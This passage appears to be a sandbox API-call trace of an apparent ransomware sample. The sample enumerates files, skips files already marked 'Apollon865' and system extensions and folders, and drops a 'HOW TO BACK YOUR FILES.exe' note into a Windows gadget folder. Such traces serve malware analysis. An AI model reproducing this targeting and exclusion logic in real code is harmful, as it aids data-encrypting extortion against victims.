	[0052.181] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".sys") returned 1
	[0052.181] lstrlenW (lpString="settings_corner_bottom_right.png") returned 32
	[0052.181] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_corner_top_left.png" | out: lpString1="settings_corner_top_left.png") returned="settings_corner_top_left.png"
	[0052.181] lstrlenW (lpString="settings_corner_top_left.png") returned 28
	[0052.181] lstrlenW (lpString="Apollon865") returned 10
	[0052.181] lstrcmpiW (lpString1="p_left.png", lpString2="Apollon865") returned 1
	[0052.181] lstrlenW (lpString=".dll") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".dll") returned 1
	[0052.181] lstrlenW (lpString=".lnk") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".lnk") returned 1
	[0052.181] lstrlenW (lpString=".ini") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".ini") returned 1
	[0052.181] lstrlenW (lpString=".sys") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".sys") returned 1
	[0052.181] lstrlenW (lpString="settings_corner_top_left.png") returned 28
	[0052.181] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_corner_top_right.png" | out: lpString1="settings_corner_top_right.png") returned="settings_corner_top_right.png"
	[0052.181] lstrlenW (lpString="settings_corner_top_right.png") returned 29
	[0052.181] lstrlenW (lpString="Apollon865") returned 10
	[0052.181] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0052.181] lstrlenW (lpString=".dll") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".dll") returned 1
	[0052.181] lstrlenW (lpString=".lnk") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".lnk") returned 1
	[0052.181] lstrlenW (lpString=".ini") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".ini") returned 1
	[0052.181] lstrlenW (lpString=".sys") returned 4
	[0052.181] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".sys") returned 1
	[0052.181] lstrlenW (lpString="settings_corner_top_right.png") returned 29
	[0052.181] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_divider.png" | out: lpString1="settings_divider.png") returned="settings_divider.png"
	[0052.182] lstrlenW (lpString="settings_divider.png") returned 20
	[0052.182] lstrlenW (lpString="Apollon865") returned 10
	[0052.182] lstrcmpiW (lpString1="ivider.png", lpString2="Apollon865") returned 1
	[0052.182] lstrlenW (lpString=".dll") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider.png", lpString2=".dll") returned 1
	[0052.182] lstrlenW (lpString=".lnk") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider.png", lpString2=".lnk") returned 1
	[0052.182] lstrlenW (lpString=".ini") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider.png", lpString2=".ini") returned 1
	[0052.182] lstrlenW (lpString=".sys") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider.png", lpString2=".sys") returned 1
	[0052.182] lstrlenW (lpString="settings_divider.png") returned 20
	[0052.182] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_divider_left.png" | out: lpString1="settings_divider_left.png") returned="settings_divider_left.png"
	[0052.182] lstrlenW (lpString="settings_divider_left.png") returned 25
	[0052.182] lstrlenW (lpString="Apollon865") returned 10
	[0052.182] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0052.182] lstrlenW (lpString=".dll") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".dll") returned 1
	[0052.182] lstrlenW (lpString=".lnk") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".lnk") returned 1
	[0052.182] lstrlenW (lpString=".ini") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".ini") returned 1
	[0052.182] lstrlenW (lpString=".sys") returned 4
	[0052.182] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".sys") returned 1
	[0052.182] lstrlenW (lpString="settings_divider_left.png") returned 25
	[0052.182] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_divider_right.png" | out: lpString1="settings_divider_right.png") returned="settings_divider_right.png"
	[0052.182] lstrlenW (lpString="settings_divider_right.png") returned 26
	[0052.182] lstrlenW (lpString="Apollon865") returned 10
	[0052.182] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0052.183] lstrlenW (lpString=".dll") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".dll") returned 1
	[0052.183] lstrlenW (lpString=".lnk") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".lnk") returned 1
	[0052.183] lstrlenW (lpString=".ini") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".ini") returned 1
	[0052.183] lstrlenW (lpString=".sys") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".sys") returned 1
	[0052.183] lstrlenW (lpString="settings_divider_right.png") returned 26
	[0052.183] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_left_disabled.png" | out: lpString1="settings_left_disabled.png") returned="settings_left_disabled.png"
	[0052.183] lstrlenW (lpString="settings_left_disabled.png") returned 26
	[0052.183] lstrlenW (lpString="Apollon865") returned 10
	[0052.183] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0052.183] lstrlenW (lpString=".dll") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".dll") returned 1
	[0052.183] lstrlenW (lpString=".lnk") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".lnk") returned 1
	[0052.183] lstrlenW (lpString=".ini") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".ini") returned 1
	[0052.183] lstrlenW (lpString=".sys") returned 4
	[0052.183] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".sys") returned 1
	[0052.183] lstrlenW (lpString="settings_left_disabled.png") returned 26
	[0052.184] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_left_hover.png" | out: lpString1="settings_left_hover.png") returned="settings_left_hover.png"
	[0052.184] lstrlenW (lpString="settings_left_hover.png") returned 23
	[0052.184] lstrlenW (lpString="Apollon865") returned 10
	[0052.184] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0052.184] lstrlenW (lpString=".dll") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".dll") returned 1
	[0052.184] lstrlenW (lpString=".lnk") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".lnk") returned 1
	[0052.184] lstrlenW (lpString=".ini") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".ini") returned 1
	[0052.184] lstrlenW (lpString=".sys") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".sys") returned 1
	[0052.184] lstrlenW (lpString="settings_left_hover.png") returned 23
	[0052.184] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_left_pressed.png" | out: lpString1="settings_left_pressed.png") returned="settings_left_pressed.png"
	[0052.184] lstrlenW (lpString="settings_left_pressed.png") returned 25
	[0052.184] lstrlenW (lpString="Apollon865") returned 10
	[0052.184] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0052.184] lstrlenW (lpString=".dll") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".dll") returned 1
	[0052.184] lstrlenW (lpString=".lnk") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".lnk") returned 1
	[0052.184] lstrlenW (lpString=".ini") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".ini") returned 1
	[0052.184] lstrlenW (lpString=".sys") returned 4
	[0052.184] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".sys") returned 1
	[0052.184] lstrlenW (lpString="settings_left_pressed.png") returned 25
	[0052.184] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_left_rest.png" | out: lpString1="settings_left_rest.png") returned="settings_left_rest.png"
	[0052.184] lstrlenW (lpString="settings_left_rest.png") returned 22
	[0052.184] lstrlenW (lpString="Apollon865") returned 10
	[0052.184] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0052.184] lstrlenW (lpString=".dll") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".dll") returned 1
	[0052.185] lstrlenW (lpString=".lnk") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".lnk") returned 1
	[0052.185] lstrlenW (lpString=".ini") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".ini") returned 1
	[0052.185] lstrlenW (lpString=".sys") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".sys") returned 1
	[0052.185] lstrlenW (lpString="settings_left_rest.png") returned 22
	[0052.185] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_right_disabled.png" | out: lpString1="settings_right_disabled.png") returned="settings_right_disabled.png"
	[0052.185] lstrlenW (lpString="settings_right_disabled.png") returned 27
	[0052.185] lstrlenW (lpString="Apollon865") returned 10
	[0052.185] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0052.185] lstrlenW (lpString=".dll") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".dll") returned 1
	[0052.185] lstrlenW (lpString=".lnk") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".lnk") returned 1
	[0052.185] lstrlenW (lpString=".ini") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".ini") returned 1
	[0052.185] lstrlenW (lpString=".sys") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".sys") returned 1
	[0052.185] lstrlenW (lpString="settings_right_disabled.png") returned 27
	[0052.185] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_right_hover.png" | out: lpString1="settings_right_hover.png") returned="settings_right_hover.png"
	[0052.185] lstrlenW (lpString="settings_right_hover.png") returned 24
	[0052.185] lstrlenW (lpString="Apollon865") returned 10
	[0052.185] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0052.185] lstrlenW (lpString=".dll") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".dll") returned 1
	[0052.185] lstrlenW (lpString=".lnk") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".lnk") returned 1
	[0052.185] lstrlenW (lpString=".ini") returned 4
	[0052.185] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".ini") returned 1
	[0052.185] lstrlenW (lpString=".sys") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".sys") returned 1
	[0052.186] lstrlenW (lpString="settings_right_hover.png") returned 24
	[0052.186] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_right_pressed.png" | out: lpString1="settings_right_pressed.png") returned="settings_right_pressed.png"
	[0052.186] lstrlenW (lpString="settings_right_pressed.png") returned 26
	[0052.186] lstrlenW (lpString="Apollon865") returned 10
	[0052.186] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0052.186] lstrlenW (lpString=".dll") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".dll") returned 1
	[0052.186] lstrlenW (lpString=".lnk") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".lnk") returned 1
	[0052.186] lstrlenW (lpString=".ini") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".ini") returned 1
	[0052.186] lstrlenW (lpString=".sys") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".sys") returned 1
	[0052.186] lstrlenW (lpString="settings_right_pressed.png") returned 26
	[0052.186] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_right_rest.png" | out: lpString1="settings_right_rest.png") returned="settings_right_rest.png"
	[0052.186] lstrlenW (lpString="settings_right_rest.png") returned 23
	[0052.186] lstrlenW (lpString="Apollon865") returned 10
	[0052.186] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0052.186] lstrlenW (lpString=".dll") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".dll") returned 1
	[0052.186] lstrlenW (lpString=".lnk") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".lnk") returned 1
	[0052.186] lstrlenW (lpString=".ini") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".ini") returned 1
	[0052.186] lstrlenW (lpString=".sys") returned 4
	[0052.186] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".sys") returned 1
	[0052.186] lstrlenW (lpString="settings_right_rest.png") returned 23
	[0052.186] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="spacer_highlights.png" | out: lpString1="spacer_highlights.png") returned="spacer_highlights.png"
	[0052.186] lstrlenW (lpString="spacer_highlights.png") returned 21
	[0052.186] lstrlenW (lpString="Apollon865") returned 10
	[0052.187] lstrcmpiW (lpString1="lights.png", lpString2="Apollon865") returned 1
	[0052.187] lstrlenW (lpString=".dll") returned 4
	[0052.187] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".dll") returned 1
	[0052.187] lstrlenW (lpString=".lnk") returned 4
	[0052.187] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".lnk") returned 1
	[0052.187] lstrlenW (lpString=".ini") returned 4
	[0052.187] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".ini") returned 1
	[0052.187] lstrlenW (lpString=".sys") returned 4
	[0052.187] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".sys") returned 1
	[0052.187] lstrlenW (lpString="spacer_highlights.png") returned 21
	[0052.187] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="square.png" | out: lpString1="square.png") returned="square.png"
	[0052.187] lstrlenW (lpString="square.png") returned 10
	[0052.187] lstrlenW (lpString="Apollon865") returned 10
	[0052.187] lstrlenW (lpString=".dll") returned 4
	[0052.187] lstrcmpiW (lpString1="square.png", lpString2=".dll") returned 1
	[0052.187] lstrlenW (lpString=".lnk") returned 4
	[0052.187] lstrcmpiW (lpString1="square.png", lpString2=".lnk") returned 1
	[0052.187] lstrlenW (lpString=".ini") returned 4
	[0052.187] lstrcmpiW (lpString1="square.png", lpString2=".ini") returned 1
	[0052.187] lstrlenW (lpString=".sys") returned 4
	[0052.187] lstrcmpiW (lpString1="square.png", lpString2=".sys") returned 1
	[0052.187] lstrlenW (lpString="square.png") returned 10
	[0052.187] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="square_dot.png" | out: lpString1="square_dot.png") returned="square_dot.png"
	[0052.187] lstrlenW (lpString="square_dot.png") returned 14
	[0052.187] lstrlenW (lpString="Apollon865") returned 10
	[0052.187] lstrcmpiW (lpString1="re_dot.png", lpString2="Apollon865") returned 1
	[0052.187] lstrlenW (lpString=".dll") returned 4
	[0052.187] lstrcmpiW (lpString1="square_dot.png", lpString2=".dll") returned 1
	[0052.187] lstrlenW (lpString=".lnk") returned 4
	[0052.187] lstrcmpiW (lpString1="square_dot.png", lpString2=".lnk") returned 1
	[0052.187] lstrlenW (lpString=".ini") returned 4
	[0052.187] lstrcmpiW (lpString1="square_dot.png", lpString2=".ini") returned 1
	[0052.188] lstrlenW (lpString=".sys") returned 4
	[0052.188] lstrcmpiW (lpString1="square_dot.png", lpString2=".sys") returned 1
	[0052.188] lstrlenW (lpString="square_dot.png") returned 14
	[0052.188] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="square_h.png" | out: lpString1="square_h.png") returned="square_h.png"
	[0052.188] lstrlenW (lpString="square_h.png") returned 12
	[0052.188] lstrlenW (lpString="Apollon865") returned 10
	[0052.188] lstrcmpiW (lpString1="uare_h.png", lpString2="Apollon865") returned 1
	[0052.188] lstrlenW (lpString=".dll") returned 4
	[0052.188] lstrcmpiW (lpString1="square_h.png", lpString2=".dll") returned 1
	[0052.188] lstrlenW (lpString=".lnk") returned 4
	[0052.188] lstrcmpiW (lpString1="square_h.png", lpString2=".lnk") returned 1
	[0052.188] lstrlenW (lpString=".ini") returned 4
	[0052.188] lstrcmpiW (lpString1="square_h.png", lpString2=".ini") returned 1
	[0052.188] lstrlenW (lpString=".sys") returned 4
	[0052.188] lstrcmpiW (lpString1="square_h.png", lpString2=".sys") returned 1
	[0052.188] lstrlenW (lpString="square_h.png") returned 12
	[0052.188] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="square_m.png" | out: lpString1="square_m.png") returned="square_m.png"
	[0052.188] lstrlenW (lpString="square_m.png") returned 12
	[0052.188] lstrlenW (lpString="Apollon865") returned 10
	[0052.188] lstrcmpiW (lpString1="uare_m.png", lpString2="Apollon865") returned 1
	[0052.188] lstrlenW (lpString=".dll") returned 4
	[0052.188] lstrcmpiW (lpString1="square_m.png", lpString2=".dll") returned 1
	[0052.188] lstrlenW (lpString=".lnk") returned 4
	[0052.188] lstrcmpiW (lpString1="square_m.png", lpString2=".lnk") returned 1
	[0052.188] lstrlenW (lpString=".ini") returned 4
	[0052.188] lstrcmpiW (lpString1="square_m.png", lpString2=".ini") returned 1
	[0052.188] lstrlenW (lpString=".sys") returned 4
	[0052.188] lstrcmpiW (lpString1="square_m.png", lpString2=".sys") returned 1
	[0052.188] lstrlenW (lpString="square_m.png") returned 12
	[0052.188] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="square_s.png" | out: lpString1="square_s.png") returned="square_s.png"
	[0052.188] lstrlenW (lpString="square_s.png") returned 12
	[0052.189] lstrlenW (lpString="Apollon865") returned 10
	[0052.189] lstrcmpiW (lpString1="uare_s.png", lpString2="Apollon865") returned 1
	[0052.189] lstrlenW (lpString=".dll") returned 4
	[0052.189] lstrcmpiW (lpString1="square_s.png", lpString2=".dll") returned 1
	[0052.189] lstrlenW (lpString=".lnk") returned 4
	[0052.189] lstrcmpiW (lpString1="square_s.png", lpString2=".lnk") returned 1
	[0052.189] lstrlenW (lpString=".ini") returned 4
	[0052.189] lstrcmpiW (lpString1="square_s.png", lpString2=".ini") returned 1
	[0052.189] lstrlenW (lpString=".sys") returned 4
	[0052.189] lstrcmpiW (lpString1="square_s.png", lpString2=".sys") returned 1
	[0052.189] lstrlenW (lpString="square_s.png") returned 12
	[0052.189] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="square_settings.png" | out: lpString1="square_settings.png") returned="square_settings.png"
	[0052.189] lstrlenW (lpString="square_settings.png") returned 19
	[0052.189] lstrlenW (lpString="Apollon865") returned 10
	[0052.189] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.189] lstrlenW (lpString=".dll") returned 4
	[0052.189] lstrcmpiW (lpString1="square_settings.png", lpString2=".dll") returned 1
	[0052.189] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="system.png" | out: lpString1="system.png") returned="system.png"
	[0052.189] lstrlenW (lpString="system.png") returned 10
	[0052.189] lstrlenW (lpString="Apollon865") returned 10
	[0052.189] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="system_dot.png" | out: lpString1="system_dot.png") returned="system_dot.png"
	[0052.189] lstrlenW (lpString="system_dot.png") returned 14
	[0052.189] lstrlenW (lpString="Apollon865") returned 10
	[0052.189] lstrcmpiW (lpString1="em_dot.png", lpString2="Apollon865") returned 1
	[0052.189] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="system_h.png" | out: lpString1="system_h.png") returned="system_h.png"
	[0052.189] lstrlenW (lpString="system_h.png") returned 12
	[0052.189] lstrlenW (lpString="Apollon865") returned 10
	[0052.189] lstrcmpiW (lpString1="stem_h.png", lpString2="Apollon865") returned 1
	[0052.190] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="system_m.png" | out: lpString1="system_m.png") returned="system_m.png"
	[0052.190] lstrlenW (lpString="system_m.png") returned 12
	[0052.190] lstrlenW (lpString="Apollon865") returned 10
	[0052.190] lstrcmpiW (lpString1="stem_m.png", lpString2="Apollon865") returned 1
	[0052.190] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="system_s.png" | out: lpString1="system_s.png") returned="system_s.png"
	[0052.190] lstrlenW (lpString="system_s.png") returned 12
	[0052.190] lstrlenW (lpString="Apollon865") returned 10
	[0052.190] lstrcmpiW (lpString1="stem_s.png", lpString2="Apollon865") returned 1
	[0052.190] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="system_settings.png" | out: lpString1="system_settings.png") returned="system_settings.png"
	[0052.190] lstrlenW (lpString="system_settings.png") returned 19
	[0052.190] lstrlenW (lpString="Apollon865") returned 10
	[0052.190] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.190] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="trad.png" | out: lpString1="trad.png") returned="trad.png"
	[0052.190] lstrlenW (lpString="trad.png") returned 8
	[0052.190] lstrlenW (lpString="Apollon865") returned 10
	[0052.190] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="trad_dot.png" | out: lpString1="trad_dot.png") returned="trad_dot.png"
	[0052.190] lstrlenW (lpString="trad_dot.png") returned 12
	[0052.190] lstrlenW (lpString="Apollon865") returned 10
	[0052.190] lstrcmpiW (lpString1="ad_dot.png", lpString2="Apollon865") returned -1
	[0052.190] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="trad_h.png" | out: lpString1="trad_h.png") returned="trad_h.png"
	[0052.190] lstrlenW (lpString="trad_h.png") returned 10
	[0052.190] lstrlenW (lpString="Apollon865") returned 10
	[0052.190] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="trad_m.png" | out: lpString1="trad_m.png") returned="trad_m.png"
	[0052.190] lstrlenW (lpString="trad_m.png") returned 10
	[0052.191] lstrlenW (lpString="Apollon865") returned 10
	[0052.191] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="trad_s.png" | out: lpString1="trad_s.png") returned="trad_s.png"
	[0052.191] lstrlenW (lpString="trad_s.png") returned 10
	[0052.191] lstrlenW (lpString="Apollon865") returned 10
	[0052.191] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="trad_settings.png" | out: lpString1="trad_settings.png") returned="trad_settings.png"
	[0052.191] lstrlenW (lpString="trad_settings.png") returned 17
	[0052.191] lstrlenW (lpString="Apollon865") returned 10
	[0052.191] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.191] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US"
	[0052.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0052.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0052.191] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned 65
	[0052.191] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US"
	[0052.191] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.191] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.197] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.197] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x372e4b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x372e4b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.197] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.197] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.197] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.197] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x372e4b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x372e4b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.197] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.197] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.197] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.197] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.197] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="Apollon865.txt.exe") returned 1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2=".") returned 1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="..") returned 1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="windows") returned -1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="bootmgr") returned 1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="temp") returned -1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="pagefile.sys") returned -1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="boot") returned 1
	[0052.197] lstrcmpiW (lpString1="clock.html", lpString2="ids.txt") returned -1
	[0052.198] lstrcmpiW (lpString1="clock.html", lpString2="ntuser.dat") returned -1
	[0052.198] lstrcmpiW (lpString1="clock.html", lpString2="perflogs") returned -1
	[0052.198] lstrcmpiW (lpString1="clock.html", lpString2="MSBuild") returned -1
	[0052.198] lstrlenW (lpString="clock.html") returned 10
	[0052.198] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*") returned 67
	[0052.198] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="clock.html" | out: lpString1="clock.html") returned="clock.html"
	[0052.198] lstrlenW (lpString="clock.html") returned 10
	[0052.198] lstrlenW (lpString="Apollon865") returned 10
	[0052.198] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="css" | out: lpString1="css") returned="css"
	[0052.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0052.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5994c0
	[0052.198] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fc10
